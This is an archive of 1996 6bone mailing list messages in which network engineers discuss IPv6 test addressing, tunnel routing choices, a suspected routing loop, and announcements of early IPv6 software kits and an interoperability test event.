> then we have to do a choice (the same one :-) ASAP...
> 
> Francis.Dupont@inria.fr
> 
> PS: perhaps we should create a 6bone IETF WG or to resume the TACIT WG
> (one of the T of TACIT are for "tests" :-) ?
> 

Dimitry

From majordom@ISI.EDU  Wed Sep 11 08:47:48 1996
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Date: Wed, 11 Sep 96 12:47:48 EDT
From: "Matthew R. Ganis (914) 684-4575" <ganis@VNET.IBM.COM>
To: 6bone@isi.edu
Subject: ipv6 addresses
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Who is allocating ipv6 addresses ??  We're starting to bring up
some ipv6 machines in our lab, get some experience, and then attempt
to connect to the 6-bone.  I'd like to get some officially assigned
addresses now
                             thanks,
                                Matt Ganis - ganis@vnet.ibm.com


***********************************************************************
"The best way to get praise    |        Return Address:
  is to die"                   | IBM VNET: GANIS at RHQVM19
              Italian Proverb  | Internet: ganis@vnet.ibm.com
                               | IPNET: ganis@bacchus.ims.advantis.com

From majordom@ISI.EDU  Wed Sep 11 03:15:55 1996
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Subject: Re: ipv6 addresses 
In-Reply-To: ganis@vnet.ibm.com's message of Wed, 11 Sep 1996 12:47:48 -0400.
	     <199609111647.AA25917@venera.isi.edu> 
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Matt,

My understanding is that everyone should be using RFC1897 (test) 
addressing.

Dave

-- 

--------------
David M. Meyer			    Voice:    +1 541.346.1747
Director			    Cellular: +1 541.954.1103
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From majordom@ISI.EDU  Wed Sep 11 03:23:40 1996
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Date: Wed, 11 Sep 1996 10:23:40 -0700
From: Dino Farinacci <dino@cisco.com>
Message-Id: <199609111723.KAA01887@stilton.cisco.com>
To: Francis.Dupont@inria.fr
Cc: mdp@tbit.dk, 6bone@ISI.EDU
In-Reply-To: <199609111437.QAA03759@givry.inria.fr> (message from Francis Dupont on Wed, 11 Sep 1996 16:37:48 +0200)
Subject: Re: 6Bone Mail
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>> => there are three solutions for the dynamic routing of the 6 bone:

    I say there is four.

    - Use static routing. Build a backbone of nodes so most connected (tail)
      sites use prefix 0/0 to get to the backbone. Their tunnel endpoint
      routers are configured with a /64 for the site (and other sites they
      connect). The backbone routers pass around /32 (routes on AS numbers
      only). 

    This should hold us for a long time until the specs are stable.

Dino
   

From majordom@ISI.EDU  Wed Sep 11 03:44:02 1996
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Date: Wed, 11 Sep 1996 10:44:02 -0700
From: Dino Farinacci <dino@cisco.com>
Message-Id: <199609111744.KAA02937@stilton.cisco.com>
To: meyer@network-services.uoregon.edu
Cc: ganis@VNET.IBM.COM, 6bone@ISI.EDU
In-Reply-To: <199609111715.KAA13437@wayback.uoregon.edu> (meyer@network-services.uoregon.edu)
Subject: Re: ipv6 addresses
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>> My understanding is that everyone should be using RFC1897 (test) 
>> addressing.

    That is, you can choose your own address but the high-order byte must
    be 0x5f and you must conform to the RFC 1897 format.

    Here is an example from 6bone-router.cisco.com. There is an ethernet and
    fddi ring running IPv6:

6bone-router>sh ipv route con
IPv6 Routing Table - 26 entries
Codes: C - Connected, L - Local, S - Static
Timers: Uptime/Expires

C 5F00:6D00:C01F:0700/80 [0/0]
  via 5F00:6D00:C01F:0700::0060:3E11:6772, Fddi0, 2d02h/never
C 5F00:6D00:C01F:0700:0001/80 [0/0]
  via 5F00:6D00:C01F:0700:0001:0060:3E11:6770, Ethernet0, 2d02h/never

    The next-hop (after via) is the router's IPv6 address on the respective
    interface. We use a /80 for those interfaces.

Dino

From majordom@ISI.EDU  Wed Sep 11 09:45:06 1996
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To: Dino Farinacci <dino@cisco.com>
Cc: 6bone@isi.edu
Subject: Re: 6Bone Mail 
In-Reply-To: Your message of "Wed, 11 Sep 1996 10:23:40 PDT."
             <199609111723.KAA01887@stilton.cisco.com> 
X-Copyright: Copyright 1996, Craig Metz, All Rights Reserved.
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Date: Wed, 11 Sep 1996 13:45:06 -0400
From: Craig Metz <cmetz@inner.net>
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In message <199609111723.KAA01887@stilton.cisco.com>, you write:
>>> => there are three solutions for the dynamic routing of the 6 bone:
>
>    I say there is four.
>
>    - Use static routing. Build a backbone of nodes so most connected (tail)
>      sites use prefix 0/0 to get to the backbone. Their tunnel endpoint
>      routers are configured with a /64 for the site (and other sites they
>      connect). The backbone routers pass around /32 (routes on AS numbers
>      only). 
>
>    This should hold us for a long time until the specs are stable.

	This is exactly what is being done now, and it works just fine.

	I will make one critical correction, however: leaves should use a
"default" route of 5f00::0/8 to help prevent implementation bugs from causing
bogon (multicast, link-local, IPv4-compatible, etc.) addresses from going down
tunnels.

									-Craig


From majordom@ISI.EDU  Wed Sep 11 03:49:41 1996
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Date: Wed, 11 Sep 1996 10:49:41 -0700
From: Dino Farinacci <dino@cisco.com>
Message-Id: <199609111749.KAA03233@stilton.cisco.com>
To: cmetz@inner.net
Cc: 6bone@isi.edu
In-Reply-To: <199609111745.RAA00860@inner.net> (message from Craig Metz on Wed, 11 Sep 1996 13:45:06 -0400)
Subject: Re: 6Bone Mail
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>> 	I will make one critical correction, however: leaves should use a
>> "default" route of 5f00::0/8 to help prevent implementation bugs from causing
>> bogon (multicast, link-local, IPv4-compatible, etc.) addresses from going down
>> tunnels.

    Well for the reason you state, I would use 0/0 so we can find those bugs.

Dino

From majordom@ISI.EDU  Wed Sep 11 22:01:14 1996
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Message-Id: <199609111801.UAA04456@givry.inria.fr>
From: Francis Dupont <Francis.Dupont@inria.fr>
To: dhaskin@baynetworks.com (Dimitry Haskin)
Cc: 6bone@isi.edu
Subject: Re: 6Bone Mail 
In-Reply-To: Your message of Wed, 11 Sep 1996 12:21:51 EDT.
             <9609111621.AA16941@pobox.BayNetworks.com> 
Date: Wed, 11 Sep 1996 20:01:14 +0200
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Status: RO

 In your previous mail you wrote:

   
   > From: Francis Dupont <Francis.Dupont@inria.fr>
   > => there are three solutions for the dynamic routing of the 6 bone:
   >  - RIPv6 but RIPv6 doesn't scale (remember DVMRP) and is not specified
   >  for the usage over tunnels.
   
   How come? Why should RIPv6 work differently over tunnels?

=> it is not clear if a tunnel is an interface (with what kind
of properties) and RIPv6 doesn't manage half connectivity.
DVMRP is a distance vector routing protocol with special hooks
for tunnel and is not the good solution for the Mbone.
I believe we should avoid the same error...

   As I see it, tunnel is just an instance of 'normal' point-to-point interface.

=> have tunnels link-local addresses (interface => link-local address
according to RFCs) ? Are tunnels point-to-point or NBMA ?
How the "multicast" is done on tunnels ? It is not so clear.

   The fact that IPv6 packets are encapsulated into IPv4 frames at
   link layer should not matter at network layer.  Do you tweak
   your network protocols for each meadia it may run over?  I don't.

=> RIPv6 is specified for LANs (in the mind of its authors).

   Here at Bay we have a generic RIPv6 implementation which runs over tunnels
   as specified -- the same way it runs over other types of links.
   
=> do you detect half tunnels ? Do you aggregate prefixes ?
RIPv6 is a cheap solution but I am not convinced it is the best
today, NHRP is a good candidate too.

   NHRP is not a routing protocol.  Are you proposing to confine 6bone
   to a single LIS so no routing would be necessary?
   
=> yes because we have a global connectivity on the Internet
then no intermediate routers are needed between clouds...
We need NHRP for other NBMAs too.

   > PS: perhaps we should create a 6bone IETF WG or to resume the TACIT WG
   > (one of the T of TACIT are for "tests" :-) ?

=> I still think we need a WG for the future of 6bone
(and not mix it with immediate operational issues).

Regards

Francis.Dupont@inria.fr

From majordom@ISI.EDU  Wed Sep 11 22:21:00 1996
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Message-Id: <199609111821.UAA04488@givry.inria.fr>
From: Francis Dupont <Francis.Dupont@inria.fr>
To: Dino Farinacci <dino@cisco.com>
Cc: mdp@tbit.dk, 6bone@isi.edu
Subject: Re: 6Bone Mail 
In-Reply-To: Your message of Wed, 11 Sep 1996 10:23:40 PDT.
             <199609111723.KAA01887@stilton.cisco.com> 
Date: Wed, 11 Sep 1996 20:21:00 +0200
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

 In your previous mail you wrote:

   >> => there are three solutions for the dynamic routing of the 6 bone:
   
       I say there is four.
   
       - Use static routing. Build a backbone of nodes so most connected (tail)
         sites use prefix 0/0 to get to the backbone. Their tunnel endpoint
         routers are configured with a /64 for the site (and other sites they
         connect). The backbone routers pass around /32 (routes on AS numbers
         only). 
   
       This should hold us for a long time until the specs are stable.
   
=> I can see two problems with this :
 - the AS number space is flat then we'll get a large number of
 static routes on the backbone boxes. We can develop special tools
 but we have limited man-power...
 - if you have a backbone everybody want to be in it. It is (too) human,
 if you don't believe me tell me what is the backbone router for the USA!
Static routing still works today then we should think about next steps...

Regards

Francis.Dupont@inria.fr

From majordom@ISI.EDU  Wed Sep 11 04:43:50 1996
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From: rstevens@kohala.com (W. Richard Stevens)
Date: Wed, 11 Sep 1996 11:43:50 -0700
Reply-To: "W. Richard Stevens" <rstevens@kohala.com>
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To: ganis@VNET.IBM.COM, 6bone@ISI.EDU
Subject: Re: ipv6 addresses
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A couple of other things to think about, when joining the 6bone,
from recent experience.

- You'll need a nameserver that understands AAAA records, along with
  secondaries that also understand these.  I think a lot of people are
  making an ipv6 subdomain that they then get delegated to themselves
  within their organization for this.  (I just upgraded my nameserver
  to BIND-4.9.4 but then have to change secondaries from my ISP, to a
  secondary that understands AAAA records.)

- Don't forget the ip6.int delegation for reverse mapping.  Bill Manning
  (bmanning@isi.edu) is doing these and he allocates them with a /32, so
  you need to coordinate this with whoever in your organization is
  responsible for your ASN.

	Rich Stevens

From majordom@ISI.EDU  Wed Sep 11 11:03:16 1996
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Date: Wed, 11 Sep 96 15:03:16 EDT
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <9609111903.AA25382@pobox.BayNetworks.com>
To: Francis.Dupont@inria.fr
Subject: Re: 6Bone Mail
Cc: 6bone@isi.edu
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> From Francis.Dupont@inria.fr Wed Sep 11 14:01:54 1996
>    
>    > From: Francis Dupont <Francis.Dupont@inria.fr>
>    > => there are three solutions for the dynamic routing of the 6 bone:
>    >  - RIPv6 but RIPv6 doesn't scale (remember DVMRP) and is not specified
>    >  for the usage over tunnels.
>    
>    How come? Why should RIPv6 work differently over tunnels?
> 
> => it is not clear if a tunnel is an interface (with what kind
> of properties) and RIPv6 doesn't manage half connectivity.
> DVMRP is a distance vector routing protocol with special hooks
> for tunnel and is not the good solution for the Mbone.
> I believe we should avoid the same error...
>

A statuc tunnel is an interface with the same properties as any other
point-to-point interface/link. It has its own L2 encapsulation scheme, i.e.
IPv4 header (or IPv6 header for IPv6-in-IPv6 tunnels). That is all to it.

The RIPv6 problem that it does not manage half connectivity is not
confound to p-to-p/tunnel links.  The same problem exists on broadcast
links -- e.g., you can have a bad Ethernet port that can transmit but
does not receive. ND's NUD can help somewhat here (yes, on tunnels too).

>    As I see it, tunnel is just an instance of 'normal' point-to-point interface.
> 
> => have tunnels link-local addresses (interface => link-local address
> according to RFCs) ?

They better have. My tunnels have.

>Are tunnels point-to-point or NBMA ?

Static tunnels are point-to-point.  I guess you can play NBMA games
with tunnels too but I don't see any point in it except making things
much more complex than they ought to be.

> How the "multicast" is done on tunnels ? It is not so clear.

This is trivial -- there is only one recipient of multicast traffic
over a tunnel (the same as a broadcast link with only two stations attached).

>    The fact that IPv6 packets are encapsulated into IPv4 frames at
>    link layer should not matter at network layer.  Do you tweak
>    your network protocols for each meadia it may run over?  I don't.
> 
> => RIPv6 is specified for LANs (in the mind of its authors).
>
Not in the mind of a reader? :)

>    Here at Bay we have a generic RIPv6 implementation which runs over tunnels
>    as specified -- the same way it runs over other types of links.
>    
> => do you detect half tunnels ?

We can use NUD for that.  I aggree that is may not be a perfect solution
but as, I said, the problem is non confound to tunnels.

>Do you aggregate prefixes ?

If the routing policy say so? What is has to do with tunnels?

> RIPv6 is a cheap solution but I am not convinced it is the best
> today, NHRP is a good candidate too.
>
RIPv6 will be the most commonly avalable solution for dynamic IPv6 routing
in a short run.

>    NHRP is not a routing protocol.  Are you proposing to confine 6bone
>    to a single LIS so no routing would be necessary?
>    
> => yes because we have a global connectivity on the Internet
> then no intermediate routers are needed between clouds...
> We need NHRP for other NBMAs too.
>
This going to be one monstrous LIS :) It will not scale and the most
of all it is not needed.

>    > PS: perhaps we should create a 6bone IETF WG or to resume the TACIT WG
>    > (one of the T of TACIT are for "tests" :-) ?
> 
> => I still think we need a WG for the future of 6bone
> (and not mix it with immediate operational issues).
> 
> Regards
> 
> Francis.Dupont@inria.fr
> 
Regards,
 Dimitry

From majordom@ISI.EDU  Wed Sep 11 09:19:51 1996
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Date: Wed, 11 Sep 1996 14:19:51 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: 6Bone Mail
In-Reply-To: "11 Sep 1996 10:23:40 PDT."
 <"199609111723.KAA01887"@stilton.cisco.com>
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>     I [Dino] say there are four.
>     - Use static routing. Build a backbone of nodes so most connected (tail)
>       sites use prefix 0/0 to get to the backbone. Their tunnel endpoint
>       routers are configured with a /64 for the site (and other sites they
>       connect). The backbone routers pass around /32 (routes on AS numbers
>       only).

That's exactly what FNAL is doing, with ESNET as the provider, with
the modification that since I'm using a /16 IPv4 address in my
RFC1897 template, I have a /48 IPv6 prefix.

And note that I did indeed select 0::/0 as my default route to the
provider, rather than 5f00::/8.
					Matt

From majordom@ISI.EDU  Wed Sep 11 23:51:15 1996
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: dhaskin@baynetworks.com (Dimitry Haskin)
Cc: 6bone@isi.edu
Subject: Re: 6Bone Mail 
In-Reply-To: Your message of Wed, 11 Sep 1996 15:03:16 EDT.
             <9609111903.AA25382@pobox.BayNetworks.com> 
Date: Wed, 11 Sep 1996 21:51:15 +0200
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Obviously there are very different ways to see tunnels (:-)!
It is not a problem with an exception: the NUD detection.
This issue has already been discussed but without a conclusion
(no agreement).

Francis.Dupont@inria.fr

From majordom@ISI.EDU  Wed Sep 11 05:51:45 1996
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Date: Wed, 11 Sep 1996 12:51:45 -0700
From: Dino Farinacci <dino@cisco.com>
Message-Id: <199609111951.MAA13307@stilton.cisco.com>
To: Francis.Dupont@inria.fr
Cc: mdp@tbit.dk, 6bone@isi.edu
In-Reply-To: <199609111821.UAA04488@givry.inria.fr> (message from Francis Dupont on Wed, 11 Sep 1996 20:21:00 +0200)
Subject: Re: 6Bone Mail
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>>  - the AS number space is flat then we'll get a large number of
>>  static routes on the backbone boxes. We can develop special tools
>>  but we have limited man-power...
   
    That is because the 6bone is using RFC1897.

>>  - if you have a backbone everybody want to be in it. It is (too) human,
>>  if you don't believe me tell me what is the backbone router for the USA!
>> Static routing still works today then we should think about next steps...

    Right, so what. The ones that connect to it will be 2nd tier nodes. If
    they don't want to provide 2nd tier service, they don't tunnel with a
    backbone router. They tunnel with a 2nd tier node.

    Making the tunnel topology hierarchical from the start will avoid the
    constant entropy of meshing. I know this may be hard to enforce but 
    backbone router tunnel subscriptions can be denied for tail users.

    If you don't understand what I mean. Just use the model that NSFnet
    had. One backbone with many regionals attaching to it. Then sites
    only attached to the regionals. It works and proved to scale to a 
    specific size.

Dino
    

From majordom@ISI.EDU  Wed Sep 11 06:01:09 1996
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From: Dino Farinacci <dino@cisco.com>
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To: dhaskin@baynetworks.com
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>> RIPv6 will be the most commonly avalable solution for dynamic IPv6 routing
>> in a short run.

    True. Then we should have the backbone routers that route on /32s pass
    them around with RIPv6. The 2nd tier routers and site routers still 
    use static.

Dino

   

From majordom@ISI.EDU  Wed Sep 11 06:17:12 1996
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To: Matt Crawford <crawdad@fnal.gov>
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Subject: 6Bone routing looop [Was: Re: 6Bone Mail]
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Date: Wed, 11 Sep 1996 13:17:12 -0700
From: "David M. Meyer 541/346-1747" <meyer@network-services.uoregon.edu>
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	Timely discussion. There there appears to be a routing
	loop between

	 cisco-6bone-router (5F00:6D00:C01F:0700:0001:0060:3E11:6770)

	and

	 netlag-chunnel (5F10:8800:C7AB:1500:0001::0001)



	Dave



From majordom@ISI.EDU  Wed Sep 11 06:43:02 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 11 Sep 1996 13:43:02 PDT
In-Reply-To: "David M. Meyer 541/346-1747" <meyer@network-services.uoregon.edu>
       "6Bone routing looop [Was: Re: 6Bone Mail]" (Sep 11,  1:17pm)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: "David M. Meyer 541/346-1747" <meyer@network-services.uoregon.edu>,
        Matt Crawford <crawdad@fnal.gov>
Subject: Re: 6Bone routing loop
Cc: 6bone@ISI.EDU, Dino Farinacci <dino@cisco.com>
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Dave,

  You'll need to provide more data to me (perhaps offline so as
not to disturb everyone else).  I just checked and things seem
fine from 6bone-router's perspective (details appended).

Ran
rja@cisco.com


>From sho ipv6 route:

S 5F10:8800/32 [1/0]
  via 0::0, Tunnel5, 2d05h/never

>From traceroute ipv6 netlag-chunnel:

Tracing the route to netlag-chunnel (5F10:8800:C7AB:1500:0001::0001)

  1 netlag-chunnel (5F10:8800:C7AB:1500:0001::0001) 308 msec 296 msec 284
msec


>From ping ipv6 netlag-chunnel:

Sending 5, 100-byte ICMP Echos to 5F10:8800:C7AB:1500:0001::0001, timeout
is 2 seconds:
!!!.!
Success rate is 80 percent (4/5), round-trip min/avg/max = 304/310/320 ms


-- 

From majordom@ISI.EDU  Wed Sep 11 15:01:25 1996
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To: 6bone@isi.edu
Subject: Re: 6Bone Mail 
In-Reply-To: Your message of "Wed, 11 Sep 96 13:01:09 PDT."
             <199609112001.NAA13678@stilton.cisco.com> 
Date: Wed, 11 Sep 96 19:01:25 -0400
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My two cents on this discussion.

1. I think NHRP is a bad idea per Francis.  As Dimitry pointed out treating 
the 6bone as a LIS is not worthy of what I think its purpose is for presently.
From a networking computer science perspective though tunnels are NBMA
like, but a network 6bone tunnel to connect should not take on the semantics 
and limitations of NBMA or advantages its just a tunnel folks.

2. I think Dino's idea of static routes is a good one but agree with Craig
on 5f00/8, as 0/0 just sends everything and I don't want to debug
accidents in forwarding but only IPv6 configuration or prefix errors.
But I think we need a mechanism a.s.a.p. to discover tunnels between two
links connected by a router when one of the routers is an IPv4 node
in the way between two IPv6 islands.   I think hard conifguring this is
going to be a pain real soon.  Mike Shand had an idea and so do I so
will connect with Mike off line.  I prefer it not affecting RIPv6 but I
think it might have too.

3.  We also should not constrain again I say the 6bone and leave it open
to any who want to forward packets.  I already fear Czars who think they
might own routing in a particular region in the context of some mail.
Well just like in real life this will not fly.  We need to be prepared for a
very complicated topology where different sites will route packets
based on some relationship unforseen at this point.  No Czars.
In addition folks who build routers and forwarding code in Hosts will
want to test their implementation too.

4.  This SHOULD NOT be an IETF activity.  If we find an error in the
IPv6 portfolio of specifications then we need to take that back to the
IETF.  Lets not get bogged down in a standards game as we evolve the
6bone.

/jim


From majordom@ISI.EDU  Wed Sep 11 15:11:07 1996
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To: "Matthew R. Ganis (914) 684-4575" <ganis@VNET.IBM.COM>
Cc: 6bone@ISI.EDU
Subject: Re: ipv6 addresses 
In-Reply-To: Your message of "Wed, 11 Sep 96 12:47:48 EDT."
             <199609111647.AA25917@venera.isi.edu> 
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>Who is allocating ipv6 addresses ??  We're starting to bring up
>some ipv6 machines in our lab, get some experience, and then attempt
>to connect to the 6-bone.  I'd like to get some officially assigned
>addresses now

I for one took your message that you knew about RFC 1897 and want a
"real" IPv6 address.  For now to play 1897 will work.  But this has come
up before and a real issue for some end users today and I believe
a lot within 1 year.  The draft on the table that solves this problem is
as follows:  

   "An IPv6 Provider-Based Unicast Address Format", Y. Rekhter, P.  Lothberg, 
   R. Hinden,, 04/03/1996, <draft-ietf-ipngwg-unicast-addr-fmt-04.txt>

The problem is that if you read it there is a place to define the registry
bits and that requires some kind of international coordination with
IANA and algorithm so it can move to Proposed Standard.  People are
working on it and I think it should be a topic of discussion at the IPng
meeting in San Jose Dec 1996.  This needs to get fixed and done
a.s.a.p.  

We already have some folks who have annouced real IPv6 products (and I
predict a lot more will by March 1997) and customers are going to buy them.  
Now we need real IPv6 addresses for them.  This 1897 strategy is not going to 
fly with the buying public.

/jim


From majordom@ISI.EDU  Thu Sep 12 12:27:45 1996
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To: 6bone@isi.edu
Subject: First (and early) version of v6tools
X-Copyright: Copyright 1996, Craig Metz, All Rights Reserved.
X-Reposting-Policy: With explicit permission only
Date: Thu, 12 Sep 1996 16:27:45 -0400
From: Craig Metz <cmetz@inner.net>
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	I'm making a few (currently two, but there are more on the way) IPv6-
capable tools I've written available for anonymous ftp on ftp.ipv6.inner.net.

	The first tool, v6wrapper, is a minimal moral equivalent to
tcp_wrappers -- it allows you to run different daemons and/or reject a
connection based on service and address criteria.

	The second, addrform, is a simple program designed to be used with
v6wrapper that uses the IPV6_ADDRFORM setsockopt() to up/downgrade a socket.

	Note that this ftp server is only reachable from the 6bone. If you
don't have routing set up that would allow you to reach the server, please
drop me a note.

									-Craig

From majordom@ISI.EDU  Fri Sep 13 07:26:24 1996
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To: 6bone@isi.edu
Subject: FYI IPv6 Next Interoperability Event
Date: Fri, 13 Sep 96 11:26:24 -0400
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Just to let you know this will be just before the next IETF meeting.
WOuld be nice to see those on the 6bone whose implementations have not
been at "any" bake-offs to show up and really test your code you can't
do this on the 6bone.

/jim

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Date: Fri, 13 Sep 1996 07:49:12 -0400
From: Bill.Lenharth@unh.edu (William Lenharth)
Message-Id: <199609131149.HAA28006@whitec.sr.unh.edu>
To: ipng@sunroof.eng.sun.com
Subject: (IPng 2101) Dec '96 - IPv6 test period
X-Status: N
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UNH will hold it's third IPv6 test Period on Dec 1 - 5, 1996 at the
New England Center in Durham, NH.

Due to space restrictions that test period will be held at the New England Center for Continuing Education with setup to on Sunday the
first of December and teardown to complete at 6pm on Thursday.  
We are sorry for any inconvience that this may cause and UNH
personnel will be available to prestage your equipment on Sunday.
The test period will cost $1250.00 for non-members and there will be
a nominal charge for members to cover the increased food costs at
the New England Center.  Please check our Web page for updates
and advisory information.  We advise reserving rooms at the NEC
early.  We look foreward to seeing you here in sunny New Hampshire.

William Lenharth

- ------------------------------------------------------------------------------
IETF IPng Mailing List		      FTP archive: ftp.parc.xerox.com:/pub/ipng
IPng Home Page:          	      http://playground.sun.com/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com

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From majordom@ISI.EDU  Sat Sep 14 01:21:53 1996
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Date: Sat, 14 Sep 1996 08:21:53 -0700
To: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Geographically-based 3D map
Cc: 6bone@isi.edu, ipv6-ops@nas.nasa.gov
Sender: owner-6bone@ISI.EDU
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Status: RO

Andrew,

>There is now a geographically-based map available on the WWW. Using tools
>borrowed from the Mbone visualization, we at NAS have come up with a VRML
>model
>of the 6bone with all the tunnels that we could find represented. The URL f=
or
>the new map is:
>
>http://www.nas.nasa.gov/NAS/Groups/netops/IPv6/viz/index.html
>
>There are static GIFs available as well, for those without VRML browsers. I=
 am
>still missing IPv4 endpoints for U of Oregon and KEK/JP (I guessed on KEK).=
 If
>anyone can provide those to me I will add them to the map.

Looks very neat, thanks for doing it.  I will add a pointer to it from the
6bone web page.


>In the near future, we hope to publish a database of the available tunnels =
and
>allow for everyone to update it themselves. This hopefully will provide the
>most current repository for sites and contacts.

Can you say more about the general intent of this database in comparison to
Geert Jan's.


Thanks,

Bob



From majordom@ISI.EDU  Wed Sep 14 20:02:33 1996
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Date: Sun, 15 Sep 1996 00:02:33 -0400 (EDT)
From: Richard Belanger <a030058t@bcfreenet.seflin.lib.fl.us>
Subject: Re: 6bone map - new tunnel from Cisco/US to UOregon/US
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6BONE Mailer <6bone@ISI.EDU>,
        "David M. Meyer 541/346-1747" <meyer@network-services.uoregon.edu>
In-Reply-To: <v03007800ae55fef0ec4a@[128.3.9.22]>
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I live in South Florida near Fort Lauderdale, what is my closest 
contact point to the mbone? Is it possible to reach a transmission speed of 
100 kbd/s on a SLIP OR PPP connection for videoconferencing.  I'm looking 
for an ISP thas has nationwide internet access by local number.

a030058t@bcfreenet.seflin.lib.fl.us


On Fri, 6 Sep 1996, Bob Fink LBNL wrote:

> Dave Meyer caught me before I left!
> 
> 6bone map version 14 (6 Sep 96) adds tunnels from Cisco/US to UOregon/US.
> 
> Bob
> 
> http://www-6bone.lbl.gov/6bone/
> 
> 
> ============
> To: Bob Fink LBNL <RLFink@lbl.gov>
> Subject: Re: no 6bone map changes till the 16th Sep
> Date: Fri, 06 Sep 1996 08:33:09 -0700
> From: "David M. Meyer 541/346-1747" <meyer@network-services.uoregon.edu>
> 
> 
> Bob,
> 
> The University of Oregon has just brought up a tunnel to
> Cisco. Have a good trip (vacation, I hope).
> 
> Thanks,
> 
> Dave
> -
> 
> 

From majordom@ISI.EDU  Sun Sep 15 09:56:59 1996
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To: ipv6imp@munnari.oz.au, 6bone@isi.edu
Cc: bound@zk3.dec.com
Subject: UPDATE: Digital Alpha UNIX IPv6 X5.1A Kit and 6bone Sites In Process
Date: Sun, 15 Sep 96 13:56:59 -0400
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Attached is a pointer to our updated kit if you want to use IPv6 or participate 
on the 6bone.  If you pull the kit across would you send a message to
bound@zk3.dec.com just letting me know you pulled the kit across. There
is also a pointer to a kit for an IPv6 WWW Server/Client/Browser too.

Also you can get prototypes running IPv6 for a Digital Switch and 
Router running RIPv6:  

	DECSwitch900EF - (also known as WGE) - 1 FDDI, 6 Ethernet ports.
	DECSwitch900EE - (also known as WGE) - 7 Ethernet ports.
	RouteAbout Access - (also known as AW90) - 1 Ethernet, 2 WAN ports
	RouteAbout Central - (also known as AW900) - 2 Ethernet, 8 WAN ports

Digital will be bringing up soon with some other partners a 6bone
routing point in Palo Alto CA and Karlsrue Germany to add to the points
of routability on the 6bone.  

These implementations have and will continue to participate in the UNH
Interoperability Events and at the next Connectathon event too.  We will
be ready to test IPSEC using the PF_KEY API for security at the next UNH
event and key management maybe depending on if the IETF makes that
critical decision before Nov 15, 1996.  It won't go into the kit until
we test with our colleagues via other vendors and other implementors as
interoperating with yourself is a very minor proofpoint when doing
Internet engineering.

You can also view our IPv6 WWW page at:

http://www.digital.com/info/ipv6/

It is under-construction and I just updated the html and it should be
completed by the time I get to Interop next week.  There is a public
IPv6 White Paper there too we are disseminating via one of the
hot-buttons.

have fun IPv6ing, 
/jim

---------------------------------

The Digital UNIX IPV6 Prototype team is pleased to announce the availability of
the latest IPV6 Binary kit for Digital UNIX V3.2C or V3.2D.  This kit is 
available via Anonymous FTP at the following location:

	ftp://sipper.zk3-x.dec.com/pub/ipv6_binary_X5.1a.tar.Z

Also available at this time is an IPv6 capable Web Server and Browser kit.  The
kit can be found at:

	ftp://sipper.zk3-x.dec.com/pub/ipv6_www_X5.1.tar.Z

The kits are also available on the 6bone at sipper.ipv6.zk3-x.dec.com
(5F0D:E900:CE98:A300::800:2B39:F505).

The IPv6 for Digital UNIX kit supports the IPV6 base protocol and addressing
specifications, along with ICMPv6, Stateless Address Autoconfiguration, Path MTU
Discovery, and Neighbor Discovery.  It is capable of acting as a BIND server for
AAAA records, and of forwarding packets as a router (via static routes only).
Also, it includes the BSD API specified in Internet Draft
draft-ietf-ipngwg-bsd-api-05.txt, a Work in Progress.

There are a few limitations which should be pointed out:

      - Limit of 1 LAN interface.  Only a single Ethernet
	or FDDI interface is supported in this release, in
	addition to the loopback and tunnelling interfaces.

      - Incompatible with Digital UNIX V3.2C ATM options.
	Due to differences in the kernel networking infrastructure,
	this kit prevents the ATM options from being linked into
	the kernel.

      - Multi-processor (SMP) systems are not currently supported.

Further details on the installation, configuration, and use of this kit can be
found in the kit, in file /usr/share/ipv6/icu_guide.txt. The following notes are
corrections or modifications which should be read carefully, as they may require
user action to make the IPv6 kit function as described in the icu_guide.txt.


    1.  The ping6 and netstat6 utilities have incorrect permission
    settings.  Please execute the following commands after running
    ip6_install:

        # chmod 4755 /usr/sbin/ping6
        # chmod 4755 /usr/sbin/netstat6

    2.  In the icu_guide.txt, the description of adding an ARP entry
    is incorrect.  It should read as follows:

        # route6 add -inet -host <ipv4-address> -link <link-address> -interface
        # route6 add -inet -host 3.4.5.6 -link le0:08:00:2b:00:34:56 -interface

    3.  If using the BIND server, execute the following commands to insure
    that the proper image is started:

        # mv /sbin/named /sbin/named.DIST
        # ln -s /usr/sbin/named /sbin/named

    4.  The BIND example file /usr/share/ipv6/named.boot should be modified
    so that the system is not listed as the primary server for the IP6.INT
    domain.

Finally, this kit is available for use and evaluation, but is not
officially supported by Digital Equipment Corporation.  Its use
in a production environment would not be recommended.  We would
appreciate any and all feedback about features, bugs, or wishlist
items, but we may not be able to respond to every mail.  Please
send your comments and suggestions to:

	mailto:ipv6-uproto-feedback@netrix.lkg.dec.com


------- End of Forwarded Message


From majordom@ISI.EDU  Tue Sep 17 00:43:39 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199609162243.XAA01662@jpd.ch.man.ac.uk>
Subject: Quick query
To: 6bone@isi.edu
Date: Mon, 16 Sep 1996 23:43:39 +0100 (BST)
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Hi

Sorry if this is the wrong place to ask, but I was
wondering where to get information on getting attached
to the 6bone. 

(Problem #1 -- this computer is in the UK - not a place
that features heavily in the information I've seen so
far. Problem #2 -- Linux IPv6 code is getting on, but
it isn't what you might call state-of-the-art.)

Any suggestions (other than getting a decent machine :)
would be welcome.

Jonathan


From majordom@ISI.EDU  Mon Sep 16 10:03:58 1996
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 <Pine.3.89.9609142313.A16845-0100000@bcfreenet.seflin.lib.fl.us>
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Date: Mon, 16 Sep 1996 17:03:58 -0700
To: Richard Belanger <a030058t@bcfreenet.seflin.lib.fl.us>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone map - new tunnel from Cisco/US to UOregon/US
Cc: 6BONE Mailer <6bone@isi.edu>,
        "David M. Meyer 541/346-1747" <meyer@network-services.uoregon.edu>
Sender: owner-6bone@ISI.EDU
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Status: RO

At 9:02 PM -0700 9/14/96, Richard Belanger wrote:
>I live in South Florida near Fort Lauderdale, what is my closest
>contact point to the mbone? Is it possible to reach a transmission speed of
>100 kbd/s on a SLIP OR PPP connection for videoconferencing.  I'm looking
